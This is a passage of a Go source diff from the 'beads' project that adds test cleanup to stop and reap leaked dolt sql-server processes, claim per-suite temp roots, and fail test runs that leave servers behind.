temp root: %v\n", err) return 1 @@ -27,7 +35,14 @@ func testMainInner(m *testing.M) int { suiteTempRoot = root defer os.RemoveAll(root) + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + code := m.Run() - doltserver.SweepOrphanedTestServers(root) + swept := doltserver.SweepSuiteTestServers(root) + code = doltserver.ApplyLeakPolicy("cmd/bd/doctor", code, swept) return code } diff --git a/cmd/bd/dolt_worktree_remote_test.go b/cmd/bd/dolt_worktree_remote_test.go index fd9de5b7c..bbfc4efe8 100644 --- a/cmd/bd/dolt_worktree_remote_test.go +++ b/cmd/bd/dolt_worktree_remote_test.go @@ -32,6 +32,12 @@ func TestDoltRemoteAddPersistsSyncRemoteToSharedWorktreeConfig(t *testing.T) { "BEADS_DOLT_SERVER_PORT="+strconv.Itoa(port), ) + // `bd init` in shared-server mode DAEMONIZES a dolt sql-server under + // $HOME/.beads/shared-server and returns; nothing here used to stop it, + // so it outlived the suite that deleted its tree (wy-j2zc8q). Registered + // before the first subprocess so the t.Fatalf paths are covered too. + stopSharedServerCleanup(t) + initCmd := exec.Command(bd, "init", "--prefix", "remote-sync", "--skip-hooks", "--quiet") initCmd.Dir = worktreeDir initCmd.Env = sharedEnv diff --git a/cmd/bd/init_metrics_test.go b/cmd/bd/init_metrics_test.go index 2b55202be..b284940d6 100644 --- a/cmd/bd/init_metrics_test.go +++ b/cmd/bd/init_metrics_test.go @@ -8,10 +8,12 @@ import ( "os" "os/exec" "path/filepath" + "strconv" "strings" "testing" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/testutil" ) type metricsEvent struct { @@ -95,7 +97,7 @@ func metricsTestEnv(home string, extra ...string) []string { return append(out, extra...) } -func runBdInitForMetrics(t *testing.T, home string, args ...string) { +func runBdInitForMetrics(t *testing.T, home string, extraEnv []string, args ...string) { t.Helper() bd := buildEmbeddedBD(t) repo, err := testTempDir("bd-metrics-repo-*") @@ -104,10 +106,20 @@ func runBdInitForMetrics(t *testing.T, home string, args ...string) { } initGitRepoAt(t, repo) + // `bd init --shared-server` daemonizes a dolt sql-server under + // /.beads/shared-server — being the HOME this fixture gives + // ONLY to the subprocess, so the in-process SharedServerPath would look in + // the wrong tree — and `--proxied-server` leaves a proxy plus its backend + // server under /.beads/dolt. Neither was ever stopped; the post-run + // sweep named this fixture by both cwds (wy-j2zc8q). Registered before + // the subprocess so the t.Fatalf paths are covered too. + stopDoltServerCleanup(t, filepath.Join(home, ".beads", "shared-server")) + stopProxiedServerCleanup(t, filepath.Join(repo, ".beads", "dolt")) + full := append([]string{"init", "--non-interactive", "--quiet"}, args...) cmd := exec.Command(bd, full...) cmd.Dir = repo - cmd.Env = metricsTestEnv(home) + cmd.Env = metricsTestEnv(home, extraEnv...) var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr @@ -120,6 +132,7 @@ func TestInitMetricsEmittedPerDoltMode(t *testing.T) { extraArgs []string extraEnv []string expectedCommand string + freeServerPort bool }{ { name: "embedded_default", @@ -134,6 +147,11 @@ func TestInitMetricsEmittedPerDoltMode(t *testing.T) { name: "shared_server_via_flag", extraArgs: []string{"--shared-server"}, expectedCommand: "init-shared-server", + // The shared server binds the default port unless told + // otherwise; on a box where 3308 is already someone's dolt the + // init fails before it starts anything, and this case would + // silently stop exercising the shared path. + freeServerPort: true, }, { name: "proxied_server_via_flag", @@ -149,7 +167,15 @@ func TestInitMetricsEmittedPerDoltMode(t *testing.T) { if err != nil { t.Fatalf("temp home: %v", err) } - runBdInitForMetrics(t, home, tc.extraArgs...) + env := tc.extraEnv + if tc.freeServerPort { + port, err := testutil.FindFreePort() + if err != nil { + t.Fatalf("find free port: %v", err) + } + env = append(env, "BEADS_DOLT_SERVER_PORT="+strconv.Itoa(port)) + } + runBdInitForMetrics(t, home, env, tc.extraArgs...) evt := readInitEvent(t, home, tc.expectedCommand) if evt.AppName != "beads" { diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 1ec32dd6e..294dc65f3 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -2093,6 +2093,12 @@ func TestInitDatabaseFlag(t *testing.T) { bareDir, worktreeDir := setupBareParentInitWorktree(t) bareBeadsDir := filepath.Join(bareDir, ".beads") + // Shared-server init daemonizes a dolt sql-server that nothing here + // stopped; it outlived the suite whose temp HOME it served + // (wy-j2zc8q). Registered before the first subprocess so the + // t.Fatalf paths are covered too. + stopSharedServerCleanup(t) + cmd := exec.Command(bd, "init", "--prefix", "bare-fallback", "--skip-hooks", "--quiet") cmd.Dir = worktreeDir cmd.Env = append(os.Environ(), "BEADS_DOLT_SHARED_SERVER=1") @@ -2316,6 +2322,9 @@ func TestBareParentWorktreeCoreCommandsWithoutRedirect(t *testing.T) { bareBeadsDir := filepath.Join(bareDir, ".beads") sharedEnv := append(os.Environ(), "BEADS_DOLT_SHARED_SERVER=1") + // Same daemonized shared server, same missing stop (wy-j2zc8q). + stopSharedServerCleanup(t) + initCmd := exec.Command(bd, "init", "--prefix", "bare-core", "--skip-hooks", "--quiet") initCmd.Dir = worktreeDir initCmd.Env = sharedEnv diff --git a/cmd/bd/shared_server_cleanup_test.go b/cmd/bd/shared_server_cleanup_test.go new file mode 100644 index 000000000..72cc49bce --- /dev/null +++ b/cmd/bd/shared_server_cleanup_test.go @@ -0,0 +1,183 @@ +package main + +import ( + "errors" + "os" + "path/filepath" + "testing" + "time" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/procid" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// stopSharedServerCleanup is the cleanup every fixture in this package that +// runs a subprocess `bd init` with BEADS_DOLT_SHARED_SERVER=1 owes. +// +// That init takes the shared-global branch in init.go, which calls +// doltserver.Start(sharedDir) — and Start DAEMONIZES: cmd.Process.Release(), +// no Wait, cmd.Dir = /dolt (doltserver.go:1443-1446). The `bd` +// subprocess then exits and the sql-server keeps running, serving a directory +// under the suite's temp HOME that TestMain deletes on the way out. Nothing in +// those fixtures ever stopped it, so a full cmd/bd run finished with a live +// `dolt sql-server --config /.beads/shared-server/…` still in the +// process table — the leak this bead is about (wy-j2zc8q). +// +// Because every one of those fixtures resolves the SAME $HOME/.beads/ +// shared-server, only the last one to start a server leaves a survivor, which +// is why the process table names one fixture while three carry the defect. +// +// Register it after the fixture's directories are built and BEFORE the first +// subprocess `bd` runs, so it covers the t.Fatalf paths too. +func stopSharedServerCleanup(t *testing.T) { + t.Helper() + // SharedServerPath, not SharedServerDir: resolving must not create the + // tree the command under test is supposed to create. + sharedDir, err := doltserver.SharedServerPath() + if err != nil { + t.Fatalf("resolve shared server dir: %v", err) + } + stopDoltServerCleanup(t, sharedDir) +} + +// stopDoltServerCleanup is the same cleanup for a server whose pid file lives +// under an explicit beads directory: a per-project server under +// /.beads, or a shared server under a HOME the fixture hands ONLY to +// the subprocess (`cmd.Env = ...HOME=...`), where this process's own +// SharedServerPath would resolve the wrong tree. Register it BEFORE the first +// subprocess `bd` runs; the directory need not exist yet. +func stopDoltServerCleanup(t *testing.T, beadsDir string) { + t.Helper() + sharedDir := beadsDir + t.Cleanup(func() { + // Read the record BEFORE stopping: a clean Stop removes the pid + // file, so afterwards there is nothing left to verify against. + state, err := doltserver.IsRunning(sharedDir) + if err != nil { + t.Errorf("doltserver.IsRunning(%s): %v", sharedDir, err) + return + } + if state == nil || !state.Running { + return + } + pid := state.PID + // The birth token makes the PID safe to ask about after the stop: + // the server is not this process's child, so its PID is reusable the + // instant it exits. + token, tokenErr := procid.Capture(pid) + + if stopErr := doltserver.Stop(sharedDir); stopErr != nil && + !errors.Is(stopErr, doltserver.ErrServerNotRunning) { + t.Errorf("doltserver.Stop(%s) for pid %d: %v", sharedDir, pid, stopErr) + } + + if tokenErr != nil { + t.Logf("procid.Capture(%d): %v; skipping the exit check", pid, tokenErr) + return + } + requireSharedServerExited(t, pid, token) + }) +} + +// stopProxiedServerCleanup is the same duty for a subprocess `bd init +// --proxied-server`: that init leaves a proxy (proxy.pid) and its backend +// dolt sql-server (proxy-child.pid) running under /dolt, with no +// dolt-server.pid for stopDoltServerCleanup to find — the post-run sweep +// named the metrics fixture's repo by exactly that cwd. proxy.Shutdown is +// the verified stop `bd dolt stop` performs and covers both records. A root +// that never started (the embedded and per-project cases of the same table) +// has neither record and is not an error. +func stopProxiedServerCleanup(t *testing.T, proxyRoot string) { + t.Helper() + t.Cleanup(func() { + recorded := false + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(proxyRoot, name)); err == nil { + recorded = true + } + } + if !recorded { + return + } + if err := proxy.Shutdown(proxyRoot); err != nil { + t.Errorf("proxy.Shutdown(%s): %v", proxyRoot, err) + } + }) +} + +const ( + // sharedServerExitTimeout is how long the cleanup waits for the shared + // dolt sql-server to leave the process table. doltserver.Stop's own + // gracefulStop budget is 5s, so this only ever elapses when the stop did + // not take — the outcome worth reporting. + sharedServerExitTimeout = 30 * time.Second + sharedServerExitPoll = 50 * time.Millisecond +) + +// requireSharedServerExited fails the test if the recorded shared server is +// still running after doltserver.Stop, then force-kills it so the leak does +// not outlive the run. +// +// t.Errorf, not t.Logf: a surviving server holds the temp HOME the suite is +// about to delete, and reporting it where it is caused is the whole point — +// the previous machinery printed a stderr line and exited 0, which is how the +// same leak was fixed three times and rediscovered from a process table +// (wy-j2zc8q). +func requireSharedServerExited(t *testing.T, pid int, token procid.Token) { + t.Helper() + deadline := time.Now().Add(sharedServerExitTimeout) + for { + same, err := procid.Verify(pid, token) + if err != nil { + t.Logf("procid.Verify(%d): %v", pid, err) + return + } + if !same { + // Gone, or the PID now belongs to something else. Either way + // our server is not running. + return + } + if time.Now().After(deadline) { + break + } + time.Sleep(sharedServerExitPoll) + } + + handle, err := procid.Open(pid, token) + if err != nil { + if sharedServerStillRunning(t, pid, token) { + t.Errorf("shared dolt sql-server pid %d survived Stop by more than %s and could not be opened to kill: %v", + pid, sharedServerExitTimeout, err) + } + return + } + killErr := handle.Kill() + _ = handle.Close() + if killErr != nil { + if sharedServerStillRunning(t, pid, token) { + t.Errorf("shared dolt sql-server pid %d survived Stop by more than %s and could not be killed: %v", + pid, sharedServerExitTimeout, killErr) + } + return + } + t.Errorf("shared dolt sql-server pid %d survived Stop by more than %s (force-killed)", + pid, sharedServerExitTimeout) +} + +// sharedServerStillRunning re-checks birth identity after procid.Open or +// Handle.Kill failed. Both verify the token themselves and return a plain +// "does not match token" error when it no longer does — exactly what a +// process that exited between the last poll and the kill attempt produces. +// Without this second look, a server that shut down a few milliseconds late +// would be reported as one that survived Stop entirely. +func sharedServerStillRunning(t *testing.T, pid int, token procid.Token) bool { + t.Helper() + same, err := procid.Verify(pid, token) + if err != nil { + t.Logf("procid.Verify(%d) after a failed kill attempt: %v", pid, err) + return false + } + return same +} diff --git a/cmd/bd/suite_temp_test.go b/cmd/bd/suite_temp_test.go new file mode 100644 index 000000000..9d5aa3836 --- /dev/null +++ b/cmd/bd/suite_temp_test.go @@ -0,0 +1,31 @@ +package main + +import ( + "os" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Guard the actual TestMain wiring: both APIs must allocate fixtures under +// the owned root or a failed fixture cleanup can leave a green, leaking suite. +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + root := testTempRoot + if root == "" || root == "." { + t.Fatal("TestMain did not pin its suite temp root") + } + if dir := t.TempDir(); !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("t.TempDir() %q is outside suite root %q", dir, root) + } + dir, err := os.MkdirTemp("", "guard-") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(dir) }) + if !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("os.MkdirTemp() %q is outside suite root %q", dir, root) + } + if testutil.PathUnderSuiteRoot(dir, os.Getenv("HOME")) { + t.Fatal("fixture directories must not inherit the suite's ~/.beads state") + } +} diff --git a/cmd/bd/test_repo_beads_guard_darwin_test.go b/cmd/bd/test_repo_beads_guard_darwin_test.go index a1621dd70..2181fd405 100644 --- a/cmd/bd/test_repo_beads_guard_darwin_test.go +++ b/cmd/bd/test_repo_beads_guard_darwin_test.go @@ -9,6 +9,8 @@ import ( "path/filepath" "testing" "time" + + "github.com/steveyegge/beads/internal/doltserver" ) type sweepTestRunner struct { @@ -19,47 +21,72 @@ func (r sweepTestRunner) Run() int { return r.run() } +// TestRunTestsAndSweepReapsOrphanedServer pins both halves of the leak +// contract on a suite whose tests all pass but which leaves a detached +// `dolt sql-server` behind: the sweep always reaps it, and the reaped orphan +// now FAILS the run (exit 1) unless doltserver.AllowLeakEnv is set to "1". +// +// The failure is the point (wy-j2zc8q). Until it landed, a swept leak was a +// stderr line on an exit-0 run, so all three previous fixes for this leak +// (wy-9byjk, wy-5ce39p, and this one) rode a green CI for weeks and the +// regression was rediscovered from a dev box's process table instead. func TestRunTestsAndSweepReapsOrphanedServer(t *testing.T) { - oldRoot := testTempRoot - testTempRoot = t.TempDir() - t.Cleanup(func() { testTempRoot = oldRoot }) - - serverDir := filepath.Join(testTempRoot, "orphan", ".beads", "dolt") - if err := os.MkdirAll(serverDir, 0o755); err != nil { - t.Fatalf("mkdir server dir: %v", err) - } - script := filepath.Join(testTempRoot, "dolt") - if err := os.WriteFile(script, []byte("#!/bin/sh\ntrap 'exit 0' TERM\nwhile :; do sleep 1; done\n"), 0o755); err != nil { - t.Fatalf("write fake dolt: %v", err) + cases := []struct { + name string + allowEnv string + want int + }{ + {name: "a swept leak fails an otherwise passing suite", allowEnv: "", want: 1}, + {name: "the opt-out downgrades the leak to a warning", allowEnv: "1", want: 0}, } - var cmd *exec.Cmd - runner := sweepTestRunner{run: func() int { - cmd = exec.Command(script, "sql-server") - cmd.Dir = serverDir - if err := cmd.Start(); err != nil { - t.Fatalf("start fake dolt sql-server: %v", err) - } - t.Cleanup(func() { _ = cmd.Process.Kill() }) - return 0 - }} + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // Both cases must reap; only the exit code differs. + t.Setenv(doltserver.AllowLeakEnv, tc.allowEnv) - if code := runTestsAndSweep(runner); code != 0 { - t.Fatalf("runTestsAndSweep() = %d, want 0", code) - } - if cmd == nil || cmd.Process == nil { - t.Fatal("runner did not start fake dolt sql-server") - } + oldRoot := testTempRoot + testTempRoot = t.TempDir() + t.Cleanup(func() { testTempRoot = oldRoot }) - waitDone := make(chan error, 1) - go func() { waitDone <- cmd.Wait() }() - select { - case err := <-waitDone: - var exitErr *exec.ExitError - if err != nil && !errors.As(err, &exitErr) { - t.Fatalf("fake dolt sql-server exited unexpectedly: %v", err) - } - case <-time.After(3 * time.Second): - t.Fatal("runTestsAndSweep left fake dolt sql-server running") + serverDir := filepath.Join(testTempRoot, "orphan", ".beads", "dolt") + if err := os.MkdirAll(serverDir, 0o755); err != nil { + t.Fatalf("mkdir server dir: %v", err) + } + script := filepath.Join(testTempRoot, "dolt") + if err := os.WriteFile(script, []byte("#!/bin/sh\ntrap 'exit 0' TERM\nwhile :; do sleep 1; done\n"), 0o755); err != nil { + t.Fatalf("write fake dolt: %v", err) + } + + var cmd *exec.Cmd + runner := sweepTestRunner{run: func() int { + cmd = exec.Command(script, "sql-server") + cmd.Dir = serverDir + if err := cmd.Start(); err != nil { + t.Fatalf("start fake dolt sql-server: %v", err) + } + t.Cleanup(func() { _ = cmd.Process.Kill() }) + return 0 + }} + + if code := runTestsAndSweep(runner); code != tc.want { + t.Fatalf("runTestsAndSweep() = %d, want %d", code, tc.want) + } + if cmd == nil || cmd.Process == nil { + t.Fatal("runner did not start fake dolt sql-server") + } + + waitDone := make(chan error, 1) + go func() { waitDone <- cmd.Wait() }() + select { + case err := <-waitDone: + var exitErr *exec.ExitError + if err != nil && !errors.As(err, &exitErr) { + t.Fatalf("fake dolt sql-server exited unexpectedly: %v", err) + } + case <-time.After(3 * time.Second): + t.Fatal("runTestsAndSweep left fake dolt sql-server running") + } + }) } } diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index 5149084b8..b43c58221 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -51,10 +51,14 @@ type testRunner interface { func runTestsAndSweep(m testRunner) int { code := m.Run() - doltserver.SweepOrphanedTestServers(testTempRoot) - return code + swept := doltserver.SweepSuiteTestServers(testTempRoot) + return doltserver.ApplyLeakPolicy("cmd/bd", code, swept) } +// suiteRootPrefix is testMainInner's PinSuiteTempRoot pattern without its random +// tail. It is what SweepDeadSuiteRoots globs for, so the two must not drift. +const suiteRootPrefix = "beads-bd-tests-" + // Guardrail: ensure the cmd/bd test suite does not touch the real repo .beads state. // Disable with BEADS_TEST_GUARD_DISABLE=1 (useful when running tests while actively using beads). func TestMain(m *testing.M) { @@ -69,13 +73,27 @@ func testMainInner(m *testing.M) int { // Many tests expect default config values; running from within this repo would // cause config.Initialize() to walk up from CWD and load `.beads/config.yaml`, // which may set non-default config values and makes tests assert the wrong behavior. - tmp, err := os.MkdirTemp("", "beads-bd-tests-*") + // Before claiming a root of our own, clear out the roots of EARLIER runs + // of this suite whose process is gone — a `go test -timeout` panic skips + // both the defer below and the post-Run sweep, so the servers those runs + // started outlive every cleanup this process installs, and nothing else + // ever looks at a dead run's tree again (wy-j2zc8q). Roots with no owner + // marker, and roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + tmp, err := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if err != nil { fmt.Fprintf(os.Stderr, "failed to create temp dir: %v\n", err) return 1 } defer func() { _ = forceRemoveAll(tmp) }() + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(tmp); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", tmp, err) + } + // Anchor package-level sync.Once builders (test binaries, isolated // HOMEs) under this directory so the defer above sweeps them up too. // Without this, those helpers leaked ~179MB-1.4GB per test run into @@ -108,10 +126,18 @@ func testMainInner(m *testing.M) int { // daemons like OrbStack (bd-84kos). testutil.PinDockerHostFromContext() - _ = os.Setenv("HOME", tmp) - _ = os.Setenv("USERPROFILE", tmp) // Windows compatibility - _ = os.Setenv("APPDATA", filepath.Join(tmp, "AppData", "Roaming")) - _ = os.Setenv("XDG_CONFIG_HOME", filepath.Join(tmp, "xdg-config")) + // Keep HOME beside the fixture directories, not above them. Tests may + // create ~/.beads; putting it on their ancestry would make repository + // discovery pick up unrelated suite state before trying worktree fallback. + home := filepath.Join(tmp, "home") + if err := os.Mkdir(home, 0o700); err != nil { + fmt.Fprintf(os.Stderr, "failed to create test home: %v\n", err) + return 1 + } + _ = os.Setenv("HOME", home) + _ = os.Setenv("USERPROFILE", home) // Windows compatibility + _ = os.Setenv("APPDATA", filepath.Join(home, "AppData", "Roaming")) + _ = os.Setenv("XDG_CONFIG_HOME", filepath.Join(home, "xdg-config")) _ = os.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") // Keep telemetry out of the test suite entirely (wy-12x1p). diff --git a/internal/beads/suite_temp_test.go b/internal/beads/suite_temp_test.go new file mode 100644 index 000000000..bb1c110e6 --- /dev/null +++ b/internal/beads/suite_temp_test.go @@ -0,0 +1,28 @@ +package beads + +import ( + "os" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Guard the actual TestMain wiring: both APIs must allocate fixtures under +// the owned root or a failed fixture cleanup can leave a green, leaking suite. +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + root := suiteTempRoot + if root == "" || root == "." { + t.Fatal("TestMain did not pin its suite temp root") + } + if dir := t.TempDir(); !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("t.TempDir() %q is outside suite root %q", dir, root) + } + dir, err := os.MkdirTemp("", "guard-") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(dir) }) + if !testutil.PathUnderSuiteRoot(dir, root) { + t.Fatalf("os.MkdirTemp() %q is outside suite root %q", dir, root) + } +} diff --git a/internal/beads/testmain_test.go b/internal/beads/testmain_test.go index 1ee0ace29..538b2a3ee 100644 --- a/internal/beads/testmain_test.go +++ b/internal/beads/testmain_test.go @@ -7,15 +7,38 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" ) +// suiteRootPrefix is this suite's PinSuiteTempRoot pattern without its random +// tail. SweepDeadSuiteRoots globs for it, so the two must not drift. +const suiteRootPrefix = "beads-internal-tests-" + +var suiteTempRoot string + func TestMain(m *testing.M) { - root, err := os.MkdirTemp("", "beads-internal-tests-*") + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. A `go test -timeout` panic skips + // every cleanup below AND the post-run sweep, so the servers such a run + // started outlive everything this process installs and nothing ever looks + // at that run's tree again (wy-j2zc8q). Roots with no owner marker, and + // roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + root, err := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if err != nil { fmt.Fprintf(os.Stderr, "failed to create test temp dir: %v\n", err) os.Exit(1) } + suiteTempRoot = root + + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + home := filepath.Join(root, "home") if err := os.MkdirAll(home, 0700); err != nil { fmt.Fprintf(os.Stderr, "failed to create test home dir: %v\n", err) @@ -47,7 +70,8 @@ func TestMain(m *testing.M) { // suite's temp root (e.g. auto-started by the BEADS_TEST_BD_BINARY // this TestMain builds, if a SIGKILLed run left one behind) — see // gastownhall/beads mybd-q6cz. - doltserver.SweepOrphanedTestServers(root) + swept := doltserver.SweepSuiteTestServers(root) + code = doltserver.ApplyLeakPolicy("internal/beads", code, swept) integrationCleanup() _ = os.RemoveAll(root) diff --git a/internal/doltserver/socket_integration_test.go b/internal/doltserver/socket_integration_test.go index 56608bdae..25683cdd9 100644 --- a/internal/doltserver/socket_integration_test.go +++ b/internal/doltserver/socket_integration_test.go @@ -9,6 +9,7 @@ import ( "os/exec" "path/filepath" "strconv" + "strings" "syscall" "testing" "time" @@ -24,7 +25,9 @@ import ( func TestUnixSocket_ConnectAndQuery(t *testing.T) { doltBin := integration.RequireDolt(t) - tmpDir := t.TempDir() + // Exercise data paths longer than either Linux's or macOS's socket-path + // budget, as happens with a long TMPDIR plus a suite-owned root. + tmpDir := filepath.Join(t.TempDir(), strings.Repeat("long-", 24)) beadsDir := filepath.Join(tmpDir, ".beads") doltDir := filepath.Join(beadsDir, "dolt") if err := os.MkdirAll(doltDir, 0700); err != nil { @@ -40,7 +43,15 @@ func TestUnixSocket_ConnectAndQuery(t *testing.T) { t.Fatalf("dolt init: %v\n%s", err, out) } - socketPath := filepath.Join(tmpDir, "dolt.sock") + // Keep only the socket outside the owned data root: Unix socket paths + // have a small fixed budget (104 bytes on macOS), independent of TMPDIR. + // The private directory is removed after the server cleanup registered below. + socketDir, err := os.MkdirTemp("/tmp", "bd-sock-") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(socketDir) }) + socketPath := filepath.Join(socketDir, "dolt.sock") portListener, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatalf("allocate TCP port: %v", err) diff --git a/internal/doltserver/sweep.go b/internal/doltserver/sweep.go index 88026a6dd..9c7d5663d 100644 --- a/internal/doltserver/sweep.go +++ b/internal/doltserver/sweep.go @@ -1,6 +1,9 @@ package doltserver import ( + "os" + "path/filepath" + "runtime" "strconv" "strings" ) @@ -20,14 +23,44 @@ type serverCandidate struct { cwdDeleted bool } -// selectOrphanTestServerPIDs returns the PIDs of candidates that are safe to -// reap as leaked test debris. A candidate qualifies only when its cmdline -// names a dolt sql-server AND either: +// SweptServer names one leaked `dolt sql-server` a sweep selected: the PID it +// signaled and the working directory that process was serving. // -// - its working directory has been deleted (the temp dir it was serving -// no longer exists — this is the signature of a SIGKILLed test run -// whose t.TempDir() cleanup ran on top of a still-live server), or -// - its working directory sits under one of suiteRoots. +// The cwd is the whole reason this type exists. A sweep report of bare PIDs +// ("swept 1 orphaned test dolt sql-server process(es): [21881]") says a +// fixture leaked but not WHICH one, and the PID is gone by the time anyone +// reads the log — so a CI failure on a package with hundreds of tests left +// the reader nothing to grep for. A leaked server's cwd is the .beads/dolt +// directory under the suite's own temp tree, and Go names those after the +// test that made them (a t.TempDir() is /TestSomeName1234/001), so the +// directory identifies the leaking test directly. +type SweptServer struct { + // PID is the process that was signaled. + PID int + // Cwd is the working directory the process was serving. Never empty for + // a selected server: selectServers skips candidates with no known cwd, + // because unknown is not provably debris. + Cwd string +} + +// String renders a swept server as " cwd=", which is what the +// sweep's stderr lines print for each entry (fmt applies this to every +// element of a []SweptServer formatted with %v). +func (s SweptServer) String() string { + if s.Cwd == "" { + return strconv.Itoa(s.PID) + } + return strconv.Itoa(s.PID) + " cwd=" + s.Cwd +} + +// selectOrphanTestServers returns the candidates that are safe to reap as +// leaked test debris, each carrying the working directory it was serving. A +// candidate qualifies only when its cmdline names a dolt sql-server AND +// either: +// +// - its working directory sits under one of suiteRoots, or +// - its working directory has been deleted AND the path it used to name +// sits under one of tempRoots. // // suiteRoots MUST be directories owned by the calling test suite alone // (e.g. that suite's own testTempRoot) — never a shared/global temp dir @@ -38,28 +71,204 @@ type serverCandidate struct { // data dirs live somewhere under os.TempDir() too. Passing a global root // here would turn this safety net into a cross-suite server killer. // +// tempRoots (see tempDirRoots) bounds the deleted-cwd arm to throwaway +// directories. A deleted working directory is a strong leak signal — a +// t.TempDir() cleanup ran on top of a still-live detached server — but it is +// NOT by itself proof of a TEST server: a production server is spawned with +// cmd.Dir = /.beads/dolt, so a developer who moved or deleted that +// workspace, or whose external volume was unmounted, would have their live +// server reaped by any test run on the box. Requiring the deleted path to +// have been under a temp dir keeps the arm pointed at test debris only. +// // This is intentionally conservative in the "never kill production" sense: -// a real shared server's data directory is a persistent, non-temp path that -// still exists and is never one of a test suite's own scoped roots, so it -// matches neither condition and is left alone. -func selectOrphanTestServerPIDs(candidates []serverCandidate, suiteRoots []string) []int { - var pids []int - for _, c := range candidates { - if !isDoltServerCmdline(c.cmdline) { - continue - } - if c.cwdDeleted { - pids = append(pids, c.pid) - continue - } - if c.cwd == "" { - continue - } +// a real shared server's data directory is a persistent, non-temp path, so it +// is neither under a suite's scoped roots nor — deleted or not — under a temp +// root, and matches neither condition. +func selectOrphanTestServers(candidates []serverCandidate, suiteRoots, tempRoots []string) []SweptServer { + return selectServers(candidates, func(c serverCandidate) bool { if underAnyRoot(c.cwd, suiteRoots) { - pids = append(pids, c.pid) + return true + } + return c.cwdDeleted && underAnyRoot(c.cwd, tempRoots) + }) +} + +// selectServersUnderRoots returns the candidates whose working directory sits +// under one of roots, and nothing else. It is the strictly +// root-scoped selection: no deleted-cwd arm, so it can never reach a process +// outside the caller's own trees. +// +// SweepDeadSuiteRoots uses it because that sweep runs at suite START, while +// sibling packages (go test -p N) are mid-run: whatever it reaps must be +// provably inside the one dead root it is cleaning up, never merely +// "somewhere temporary". +func selectServersUnderRoots(candidates []serverCandidate, roots []string) []SweptServer { + return selectServers(candidates, func(c serverCandidate) bool { + return underAnyRoot(c.cwd, roots) + }) +} + +// selectServers applies want to every candidate that is a dolt sql-server +// with a known working directory, returning the survivors as SweptServers. A +// candidate whose cwd could not be resolved is always skipped: unknown is not +// provably debris — which is also why every SweptServer it returns has a +// non-empty Cwd for the sweep's report to name. +func selectServers(candidates []serverCandidate, want func(serverCandidate) bool) []SweptServer { + var selected []SweptServer + for _, c := range candidates { + if !isDoltServerCmdline(c.cmdline) || c.cwd == "" { + continue + } + if want(c) { + selected = append(selected, SweptServer{PID: c.pid, Cwd: c.cwd}) } } - return pids + return selected +} + +// tempDirRoots is the set of directories under which a deleted working +// directory is credible evidence of leaked TEST debris rather than a moved +// production workspace: the process temp dir (honoring TMPDIR, which the +// suites pin to their own root) and /tmp, which os.MkdirTemp uses when TMPDIR +// is unset and which several suites hardcode. +// +// Roots too broad to be evidence of anything are dropped — see +// isCredibleTempRoot. TMPDIR is an environment variable, so "/" or a home +// directory can land here, and a root that broad would restore exactly the +// unbounded deleted-cwd arm this bound exists to remove. +func tempDirRoots() []string { + home, err := os.UserHomeDir() + if err != nil { + home = "" + } + var roots []string + for _, root := range canonicalRoots([]string{os.TempDir(), "/tmp"}) { + if !isCredibleTempRoot(root, home) { + continue + } + roots = append(roots, root) + } + return roots +} + +// isCredibleTempRoot reports whether root is narrow enough to bound the +// deleted-cwd arm. It rejects the filesystem root, a relative or empty path, +// and any directory that IS the user's home or contains it — "/", "/Users", +// "/home", $HOME itself. Everything a real temp dir looks like (/tmp, +// /private/tmp, /var/folders/xx/yy/T, a pinned suite root) passes. +// +// The home test doubles as the breadth test: a directory holding the user's +// home holds their workspaces too, so a deleted .beads/dolt under it would +// again look like test debris. +// +// The one home that anchors no workspaces is a SANDBOX home: CI harnesses +// (scripts/ci/lib/test-env.sh) export HOME under a mktemp -d root so a test +// can never read or write the runner's real dotfiles, and several suites pin +// HOME to a t.TempDir() for the same reason. Such a home lives under a fixed +// system temp location (isSandboxHome), and without this carve-out it would +// disqualify that location itself, 